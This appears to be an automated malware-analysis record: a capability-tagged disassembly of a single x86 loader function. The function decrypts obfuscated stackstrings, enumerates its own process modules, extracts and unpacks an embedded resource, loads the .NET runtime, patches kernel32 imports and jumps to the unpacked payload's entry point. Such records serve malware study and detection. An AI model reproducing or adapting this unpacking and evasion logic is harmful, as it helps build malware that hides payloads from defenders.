Function at 0x401470
Capabilities:
Contain obfuscated stackstrings
Enumerate process modules
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc70
push esi
push edi
mov byte [ebp - 0x48], 0xe0
mov byte [ebp - 0x47], 0x3b
mov byte [ebp - 0x46], 0x8d
mov byte [ebp - 0x45], 0x2a
mov byte [ebp - 0x44], 0xa2
mov byte [ebp - 0x43], 0x2a
mov byte [ebp - 0x42], 0x2a
mov byte [ebp - 0x41], 0x41
mov byte [ebp - 0x40], 0xd3
mov byte [ebp - 0x3f], 0x20
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 6
mov byte [ebp - 0x3c], 0x8a
mov byte [ebp - 0x3b], 0xf7
mov byte [ebp - 0x3a], 0x3d
mov byte [ebp - 0x39], 0x9d
mov byte [ebp - 0x38], 0xd9
mov byte [ebp - 0x37], 0xee
mov byte [ebp - 0x36], 0x15
mov byte [ebp - 0x35], 0x68
mov byte [ebp - 0x34], 0xf4
mov byte [ebp - 0x33], 0x76
mov byte [ebp - 0x32], 0xb9
mov byte [ebp - 0x31], 0x34
mov byte [ebp - 0x30], 0xbf
mov byte [ebp - 0x2f], 0x1e
mov byte [ebp - 0x2e], 0xe7
mov byte [ebp - 0x2d], 0x78
mov byte [ebp - 0x2c], 0x98
mov byte [ebp - 0x2b], 0xe9
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0xb4
mov byte [ebp - 0x28], 0
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x48]
push ecx
call fcn.00402ab0
add esp, 8
push eax
call fcn.0040eab4
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x41b2f4
je 0x4024a8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x660], 0x224
mov byte [ebp - 0x3cc], 0xce
mov byte [ebp - 0x3cb], 0x27
mov byte [ebp - 0x3ca], 0x9c
mov byte [ebp - 0x3c9], 0x1a
mov byte [ebp - 0x3c8], 0x95
mov byte [ebp - 0x3c7], 0x2e
mov byte [ebp - 0x3c6], 0x22
mov byte [ebp - 0x3c5], 0x57
mov byte [ebp - 0x3c4], 0x91
mov byte [ebp - 0x3c3], 0x21
mov byte [ebp - 0x3c2], 0x57
mov byte [ebp - 0x3c1], 0x3a
mov byte [ebp - 0x3c0], 0xf8
mov byte [ebp - 0x3bf], 0x98
mov byte [ebp - 0x3be], 0x5b
mov byte [ebp - 0x3bd], 0xf4
mov byte [ebp - 0x3bc], 0xb5
mov byte [ebp - 0x3bb], 0x87
mov byte [ebp - 0x3ba], 0x7b
mov byte [ebp - 0x3b9], 0xf
mov byte [ebp - 0x3b8], 0xf4
mov byte [ebp - 0x3b7], 0x76
mov byte [ebp - 0x3b6], 0xb9
mov byte [ebp - 0x3b5], 0x34
mov byte [ebp - 0x3b4], 0xbf
mov byte [ebp - 0x3b3], 0x1e
mov byte [ebp - 0x3b2], 0xe7
mov byte [ebp - 0x3b1], 0x78
mov byte [ebp - 0x3b0], 0x98
mov byte [ebp - 0x3af], 0xe9
mov byte [ebp - 0x3ae], 0x6f
mov byte [ebp - 0x3ad], 0xb4
mov byte [ebp - 0x3ac], 0
mov byte [ebp - 0x6ac], 0xc0
mov byte [ebp - 0x6ab], 0x38
mov byte [ebp - 0x6aa], 0x8d
mov byte [ebp - 0x6a9], 0x1f
mov byte [ebp - 0x6a8], 0x8e
mov byte [ebp - 0x6a7], 0x30
mov byte [ebp - 0x6a6], 0x65
mov byte [ebp - 0x6a5], 0x47
mov byte [ebp - 0x6a4], 0xd3
mov byte [ebp - 0x6a3], 0x29
mov byte [ebp - 0x6a2], 0x3b
mov byte [ebp - 0x6a1], 0x56
mov byte [ebp - 0x6a0], 0xf8
mov byte [ebp - 0x69f], 0x98
mov byte [ebp - 0x69e], 0x5b
mov byte [ebp - 0x69d], 0xf4
mov byte [ebp - 0x69c], 0xb5
mov byte [ebp - 0x69b], 0x87
mov byte [ebp - 0x69a], 0x7b
mov byte [ebp - 0x699], 0xf
mov byte [ebp - 0x698], 0xf4
mov byte [ebp - 0x697], 0x76
mov byte [ebp - 0x696], 0xb9
mov byte [ebp - 0x695], 0x34
mov byte [ebp - 0x694], 0xbf
mov byte [ebp - 0x693], 0x1e
mov byte [ebp - 0x692], 0xe7
mov byte [ebp - 0x691], 0x78
mov byte [ebp - 0x690], 0x98
mov byte [ebp - 0x68f], 0xe9
mov byte [ebp - 0x68e], 0x6f
mov byte [ebp - 0x68d], 0xb4
mov byte [ebp - 0x68c], 0
lea edx, [ebp - 0x660]
push edx
mov eax, dword [ebp - 0xa8]
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x401a31
lea ecx, [ebp - 0x434]
push ecx
lea edx, [ebp - 0x3cc]
push edx
call fcn.00402ab0
add esp, 8
mov dword [ebp - 0xc10], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
mov dl, byte [ecx]
mov byte [ebp - 0xc15], dl
mov eax, dword [ebp - 0xc10]
cmp dl, byte [eax]
jne 0x4017b5
cmp byte [ebp - 0xc15], 0
je 0x4017a9
mov ecx, dword [ebp - 0xc14]
mov dl, byte [ecx + 1]
mov byte [ebp - 0xc16], dl
mov eax, dword [ebp - 0xc10]
cmp dl, byte [eax + 1]
jne 0x4017b5
add dword [ebp - 0xc14], 2
add dword [ebp - 0xc10], 2
cmp byte [ebp - 0xc16], 0
jne 0x401757
mov dword [ebp - 0xc1c], 0
jmp 0x4017c0
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0xc1c]
mov dword [ebp - 0xc20], edx
cmp dword [ebp - 0xc20], 0
jne 0x4017e9
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4024aa
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x6ac]
push edx
call fcn.00402ab0
add esp, 8
mov dword [ebp - 0xc24], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0xc28], eax
mov ecx, dword [ebp - 0xc28]
mov dl, byte [ecx]
mov byte [ebp - 0xc29], dl
mov eax, dword [ebp - 0xc24]
cmp dl, byte [eax]
jne 0x40186c
cmp byte [ebp - 0xc29], 0
je 0x401860
mov ecx, dword [ebp - 0xc28]
mov dl, byte [ecx + 1]
mov byte [ebp - 0xc2a], dl
mov eax, dword [ebp - 0xc24]
cmp dl, byte [eax + 1]
jne 0x40186c
add dword [ebp - 0xc28], 2
add dword [ebp - 0xc24], 2
cmp byte [ebp - 0xc2a], 0
jne 0x40180e
mov dword [ebp - 0xc30], 0
jmp 0x401877
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xc30], ecx
mov edx, dword [ebp - 0xc30]
mov dword [ebp - 0xc34], edx
cmp dword [ebp - 0xc34], 0
jne 0x4018a0
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4024aa
lea ecx, [ebp - 0x660]
push ecx
mov edx, dword [ebp - 0xa8]
push edx
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x401a31
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x3cc]
push ecx
call fcn.00402ab0
add esp, 8
mov dword [ebp - 0xc38], eax
lea edx, [ebp - 0x640]
mov dword [ebp - 0xc3c], edx
mov eax, dword [ebp - 0xc3c]
mov cl, byte [eax]
mov byte [ebp - 0xc3d], cl
mov edx, dword [ebp - 0xc38]
cmp cl, byte [edx]
jne 0x401941
cmp byte [ebp - 0xc3d], 0
je 0x401935
mov eax, dword [ebp - 0xc3c]
mov cl, byte [eax + 1]
mov byte [ebp - 0xc3e], cl
mov edx, dword [ebp - 0xc38]
cmp cl, byte [edx + 1]
jne 0x401941
add dword [ebp - 0xc3c], 2
add dword [ebp - 0xc38], 2
cmp byte [ebp - 0xc3e], 0
jne 0x4018e3
mov dword [ebp - 0xc44], 0
jmp 0x40194c
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xc44], eax
mov ecx, dword [ebp - 0xc44]
mov dword [ebp - 0xc48], ecx
cmp dword [ebp - 0xc48], 0
jne 0x401975
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4024aa
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x6ac]
push ecx
call fcn.00402ab0
add esp, 8
mov dword [ebp - 0xc4c], eax
lea edx, [ebp - 0x640]
mov dword [ebp - 0xc50], edx
mov eax, dword [ebp - 0xc50]
mov cl, byte [eax]
mov byte [ebp - 0xc51], cl
mov edx, dword [ebp - 0xc4c]
cmp cl, byte [edx]
jne 0x4019f8
cmp byte [ebp - 0xc51], 0
je 0x4019ec
mov eax, dword [ebp - 0xc50]
mov cl, byte [eax + 1]
mov byte [ebp - 0xc52], cl
mov edx, dword [ebp - 0xc4c]
cmp cl, byte [edx + 1]
jne 0x4019f8
add dword [ebp - 0xc50], 2
add dword [ebp - 0xc4c], 2
cmp byte [ebp - 0xc52], 0
jne 0x40199a
mov dword [ebp - 0xc58], 0
jmp 0x401a03
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xc58], eax
mov ecx, dword [ebp - 0xc58]
mov dword [ebp - 0xc5c], ecx
cmp dword [ebp - 0xc5c], 0
jne 0x401a2c
mov edx, dword [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4024aa
jmp 0x4018a0
mov eax, dword [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x31c], eax
mov byte [ebp - 0x9c], 0xfc
mov byte [ebp - 0x9b], 0xb
mov byte [ebp - 0x9a], 0xff
mov byte [ebp - 0x99], 0x75
mov byte [ebp - 0x98], 0xe7
mov byte [ebp - 0x97], 0x44
mov byte [ebp - 0x96], 0x4b
mov byte [ebp - 0x95], 0x23
mov byte [ebp - 0x94], 0xbf
mov byte [ebp - 0x93], 0x45
mov byte [ebp - 0x92], 0x3b
mov byte [ebp - 0x91], 0x56
mov byte [ebp - 0x90], 0xf8
mov byte [ebp - 0x8f], 0x98
mov byte [ebp - 0x8e], 0x5b
mov byte [ebp - 0x8d], 0xf4
mov byte [ebp - 0x8c], 0xb5
mov byte [ebp - 0x8b], 0x87
mov byte [ebp - 0x8a], 0x7b
mov byte [ebp - 0x89], 0xf
mov byte [ebp - 0x88], 0xf4
mov byte [ebp - 0x87], 0x76
mov byte [ebp - 0x86], 0xb9
mov byte [ebp - 0x85], 0x34
mov byte [ebp - 0x84], 0xbf
mov byte [ebp - 0x83], 0x1e
mov byte [ebp - 0x82], 0xe7
mov byte [ebp - 0x81], 0x78
mov byte [ebp - 0x80], 0x98
mov byte [ebp - 0x7f], 0xe9
mov byte [ebp - 0x7e], 0x6f
mov byte [ebp - 0x7d], 0xb4
mov byte [ebp - 0x7c], 0
push 0xa
lea ecx, [ebp - 0x8e4]
push ecx
lea edx, [ebp - 0x9c]
push edx
call fcn.00402ab0
add esp, 8
push eax
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x3d8], 0
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 0x31c]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
call fcn.0040dfe9
add esp, 4
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0xa44], 0x40022
mov eax, dword [ebp - 0xa44]
push eax
call fcn.0040e9c8
add esp, 4
mov dword [ebp - 0xa48], eax
cmp dword [ebp - 0xa48], 0
je 0x401bec
mov ecx, dword [ebp - 0xa44]
push ecx
push 0
mov edx, dword [ebp - 0xa48]
push edx
call fcn.0040e430
add esp, 0xc
mov eax, dword [ebp - 0xa48]
mov dword [ebp - 0xc60], eax
jmp 0x401bf6
mov dword [ebp - 0xc60], 0
mov ecx, dword [ebp - 0xc60]
mov dword [ebp - 0x2f4], ecx
mov ecx, dword [ebp - 0x2f4]
call fcn.00402760
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x8e8], 0
jmp 0x401c3c
mov ecx, dword [ebp - 0x8e8]
add ecx, 1
mov dword [ebp - 0x8e8], ecx
mov eax, dword [ebp - 0x74]
cdq
and edx, 0x3ff
add eax, edx
sar eax, 0xa
cmp dword [ebp - 0x8e8], eax
jge 0x401c82
mov edx, dword [ebp - 0x8e8]
shl edx, 0xa
add edx, dword [ebp - 0x3d8]
push edx
push 0x400
mov eax, dword [ebp - 0x8e8]
shl eax, 0xa
add eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x2f4]
call fcn.004029c0
jmp 0x401c2d
mov ecx, dword [ebp - 0x74]
and ecx, 0x800003ff
jns 0x401c95
dec ecx
or ecx, 0xfffffc00
inc ecx
test ecx, ecx
jle 0x401cf3
mov edx, dword [ebp - 0x74]
and edx, 0x800003ff
jns 0x401cac
dec edx
or edx, 0xfffffc00
inc edx
mov eax, dword [ebp - 0x74]
sub eax, edx
add eax, dword [ebp - 0x3d8]
push eax
mov ecx, dword [ebp - 0x74]
and ecx, 0x800003ff
jns 0x401ccb
dec ecx
or ecx, 0xfffffc00
inc ecx
push ecx
mov edx, dword [ebp - 0x74]
and edx, 0x800003ff
jns 0x401cdf
dec edx
or edx, 0xfffffc00
inc edx
mov eax, dword [ebp - 0x74]
sub eax, edx
add eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x2f4]
call fcn.004029c0
mov ecx, dword [ebp - 0x74]
push ecx
push 0
mov edx, dword [ebp - 0x50]
push edx
call fcn.0040e430
add esp, 0xc
mov eax, dword [ebp - 0x3e8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 0x4c], 0
mov ecx, dword [ebp - 0x3d8]
mov edx, dword [ecx]
mov dword [ebp - 0x3d4], edx
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0xb8]
push ecx
call fcn.0040dfe9
add esp, 4
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ecx, dword [ebp - 0x3d8]
add ecx, 4
push ecx
lea edx, [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call fcn.0040de30
add esp, 0x10
mov dword [ebp - 0x688], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x414], ecx
mov edx, dword [ebp - 0x74]
push edx
push 0
mov eax, dword [ebp - 0x3d8]
push eax
call fcn.0040e430
add esp, 0xc
mov dword [ebp - 0xa4], 0x105
mov ecx, dword [ebp - 0x414]
push ecx
call fcn.00405550
add esp, 4
mov dword [ebp - 0xb0], eax
mov edx, dword [ebp - 0xb8]
push edx
push 0
mov eax, dword [ebp - 0x414]
push eax
call fcn.0040e430
add esp, 0xc
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.0040e815
add esp, 4
mov edx, dword [ebp - 0xb0]
mov dword [0x4237b4], edx
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x3e4], eax
mov ecx, dword [ebp - 0x3e4]
mov edx, dword [ecx + 0x3c]
add edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x8c4], edx
mov eax, dword [ebp - 0x8c4]
mov ecx, dword [eax + 0xe8]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0x3e4]
add edx, dword [ebp - 0xe0]
mov dword [ebp - 0x3e0], edx
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x3e4]
add edx, dword [ebp - 0x6b0]
mov dword [ebp - 0x3dc], edx
mov eax, dword [ebp - 0x3dc]
add eax, 0x10
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x684], 0xce
mov byte [ebp - 0x683], 0x27
mov byte [ebp - 0x682], 0x9c
mov byte [ebp - 0x681], 0x1a
mov byte [ebp - 0x680], 0x95
mov byte [ebp - 0x67f], 0x21
mov byte [ebp - 0x67e], 0x2e
mov byte [ebp - 0x67d], 0xd
mov byte [ebp - 0x67c], 0xdb
mov byte [ebp - 0x67b], 0x29
mov byte [ebp - 0x67a], 0x57
mov byte [ebp - 0x679], 0x56
mov byte [ebp - 0x678], 0xf8
mov byte [ebp - 0x677], 0x98
mov byte [ebp - 0x676], 0x5b
mov byte [ebp - 0x675], 0xf4
mov byte [ebp - 0x674], 0xb5
mov byte [ebp - 0x673], 0x87
mov byte [ebp - 0x672], 0x7b
mov byte [ebp - 0x671], 0xf
mov byte [ebp - 0x670], 0xf4
mov byte [ebp - 0x66f], 0x76
mov byte [ebp - 0x66e], 0xb9
mov byte [ebp - 0x66d], 0x34
mov byte [ebp - 0x66c], 0xbf
mov byte [ebp - 0x66b], 0x1e
mov byte [ebp - 0x66a], 0xe7
mov byte [ebp - 0x669], 0x78
mov byte [ebp - 0x668], 0x98
mov byte [ebp - 0x667], 0xe9
mov byte [ebp - 0x666], 0x6f
mov byte [ebp - 0x665], 0xb4
mov byte [ebp - 0x664], 0
lea ecx, [ebp - 0x40c]
push ecx
lea edx, [ebp - 0x684]
push edx
call fcn.00402ab0
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3ec], eax
mov byte [ebp - 0xdc], 0xe0
mov byte [ebp - 0xdb], 0x18
mov byte [ebp - 0xda], 0xad
mov byte [ebp - 0xd9], 0x36
mov byte [ebp - 0xd8], 0x95
mov byte [ebp - 0xd7], 0x21
mov byte [ebp - 0xd6], 0x2a
mov byte [ebp - 0xd5], 0x57
mov byte [ebp - 0xd4], 0xda
mov byte [ebp - 0xd3], 0xc
mov byte [ebp - 0xd2], 0x55
mov byte [ebp - 0xd1], 0x25
mov byte [ebp - 0xd0], 0x8c
mov byte [ebp - 0xcf], 0xf9
mov byte [ebp - 0xce], 0x35
mov byte [ebp - 0xcd], 0x97
mov byte [ebp - 0xcc], pe_nt_image_headers32
mov byte [ebp - 0xcb], 0x87
mov byte [ebp - 0xca], 0x7b
mov byte [ebp - 0xc9], 0xf
mov byte [ebp - 0xc8], 0xf4
mov byte [ebp - 0xc7], 0x76
mov byte [ebp - 0xc6], 0xb9
mov byte [ebp - 0xc5], 0x34
mov byte [ebp - 0xc4], 0xbf
mov byte [ebp - 0xc3], 0x1e
mov byte [ebp - 0xc2], 0xe7
mov byte [ebp - 0xc1], 0x78
mov byte [ebp - 0xc0], 0x98
mov byte [ebp - 0xbf], 0xe9
mov byte [ebp - 0xbe], 0x6f
mov byte [ebp - 0xbd], 0xb4
mov byte [ebp - 0xbc], 0
lea eax, [ebp - 0x314]
push eax
lea ecx, [ebp - 0xdc]
push ecx
call fcn.00402ab0
add esp, 8
push eax
mov edx, dword [ebp - 0x3ec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4236a8], eax
xor eax, eax
cmp dword [0x4236a8], 0
setne al
mov byte [ebp - 0x3cd], al
movzx ecx, byte [ebp - 0x3cd]
neg ecx
sbb ecx, ecx
add ecx, 1
mov byte [ebp - 0xb1], cl
movzx edx, byte [ebp - 0x3cd]
test edx, edx
je 0x4021e6
mov dword [ebp - 0x8ec], 0
lea eax, [ebp - 0x8ec]
push eax
push 0x41b210
push 0x41b220
call dword [0x4236a8]
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jge 0x4020e2
mov byte [ebp - 0xb1], 1
movzx ecx, byte [ebp - 0xb1]
test ecx, ecx
jne 0x4021e4
mov dword [ebp - 0x8f0], 0
mov edx, dword [ebp - 0xa0]
push edx
lea ecx, [ebp - 0x9f8]
call fcn.00402f00
lea eax, [ebp - 0x8f0]
push eax
push 0x41b230
lea ecx, [ebp - 0x9f8]
call fcn.00402c40
push eax
mov ecx, dword [ebp - 0x8ec]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x8ec]
push eax
mov ecx, dword [edx + 0xc]
call ecx
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jge 0x40214f
mov byte [ebp - 0xb1], 1
movzx edx, byte [ebp - 0xb1]
test edx, edx
jne 0x4021d9
lea eax, [ebp - 0xa4]
push eax
lea ecx, [ebp - 0x8c0]
push ecx
mov edx, dword [ebp - 0x8f0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x8f0]
push ecx
mov edx, dword [eax + 0x10]
call edx
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jge 0x402194
mov byte [ebp - 0xb1], 1
jmp 0x4021d9
lea eax, [ebp - 0x8c0]
add eax, 0xfffffffe
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0xc64]
mov dx, word [ecx + 2]
mov word [ebp - 0xc66], dx
add dword [ebp - 0xc64], 2
cmp word [ebp - 0xc66], 0
jne 0x4021a3
mov edi, dword [ebp - 0xc64]
mov ecx, 6
mov esi, str.mscorlib.dll
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x9f8]
call fcn.00402d70
jmp 0x4021ed
mov byte [ebp - 0xb1], 1
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x402389
mov byte [ebp - 0xb1], 0
mov byte [ebp - 0xa3c], 0xe4
mov byte [ebp - 0xa3b], 0x31
mov byte [ebp - 0xa3a], 0x8b
mov byte [ebp - 0xa39], 0x36
mov byte [ebp - 0xa38], 0xa8
mov byte [ebp - 0xa37], 0x16
mov byte [ebp - 0xa36], 0x18
mov byte [ebp - 0xa35], 0x5a
mov byte [ebp - 0xa34], 0xcc
mov byte [ebp - 0xa33], 0x31
mov byte [ebp - 0xa32], 0x5e
mov byte [ebp - 0xa31], 0x3b
mov byte [ebp - 0xa30], 0xbc
mov byte [ebp - 0xa2f], 0xf1
mov byte [ebp - 0xa2e], 0x29
mov byte [ebp - 0xa2d], 0x91
mov byte [ebp - 0xa2c], 0xd6
mov byte [ebp - 0xa2b], 0xf3
mov byte [ebp - 0xa2a], 0x14
mov byte [ebp - 0xa29], 0x7d
mov byte [ebp - 0xa28], 0x8d
mov byte [ebp - 0xa27], 0x76
mov byte [ebp - 0xa26], 0xb9
mov byte [ebp - 0xa25], 0x34
mov byte [ebp - 0xa24], 0xbf
mov byte [ebp - 0xa23], 0x1e
mov byte [ebp - 0xa22], 0xe7
mov byte [ebp - 0xa21], 0x78
mov byte [ebp - 0xa20], 0x98
mov byte [ebp - 0xa1f], 0xe9
mov byte [ebp - 0xa1e], 0x6f
mov byte [ebp - 0xa1d], 0xb4
mov byte [ebp - 0xa1c], 0
lea ecx, [ebp - 0xa18]
push ecx
lea edx, [ebp - 0xa3c]
push edx
call fcn.00402ab0
add esp, 8
push eax
mov eax, dword [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4237b8], eax
lea ecx, [ebp - 0x318]
push ecx
push 0x104
lea edx, [ebp - 0x8c0]
push edx
call dword [0x4237b8]
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 0
jne 0x402382
lea eax, [ebp - 0x8c0]
add eax, 0xfffffffe
mov dword [ebp - 0xc6c], eax
mov ecx, dword [ebp - 0xc6c]
mov dx, word [ecx + 2]
mov word [ebp - 0xc6e], dx
add dword [ebp - 0xc6c], 2
cmp word [ebp - 0xc6e], 0
jne 0x40234a
mov edi, dword [ebp - 0xc6c]
mov ecx, 6
mov esi, str.mscorlib.dll
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x402389
mov byte [ebp - 0xb1], 1
lea eax, [ebp - 0x8c0]
mov dword [0x423184], eax
mov ecx, dword [0x423184]
push ecx
lea ecx, [ebp - 0x3a8]
call fcn.00402f20
lea ecx, [ebp - 0x3a8]
call fcn.00402c40
mov dword [0x423180], eax
push 0x105
push 0x423398
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x105
push 0x423188
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4237c0
push 0x4011c0
push 0x41b2c4
push str.kernel32.dll
call fcn.00401410
add esp, 0x10
push 0x4237bc
push 0x401190
push 0x41b2a0
push str.kernel32.dll
call fcn.00401410
add esp, 0x10
push 0x4237cc
push 0x401150
push 0x41b28c
push str.kernel32.dll
call fcn.00401410
add esp, 0x10
push 0x4237c8
push 0x401170
push 0x41b278
push str.kernel32.dll
call fcn.00401410
add esp, 0x10
push 0x4237c4
push 0x401050
push 0x41b26c
push str.kernel32.dll
call fcn.00401410
add esp, 0x10
push 0x4237d0
push 0x4010d0
push 0x41b260
push str.kernel32.dll
call fcn.00401410
add esp, 0x10
mov edx, dword [ebp - 0x8c4]
mov eax, dword [edx + 0x28]
add eax, dword [ebp - 0x3e4]
mov dword [ebp - 0xac], eax
jmp dword [ebp - 0xac]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret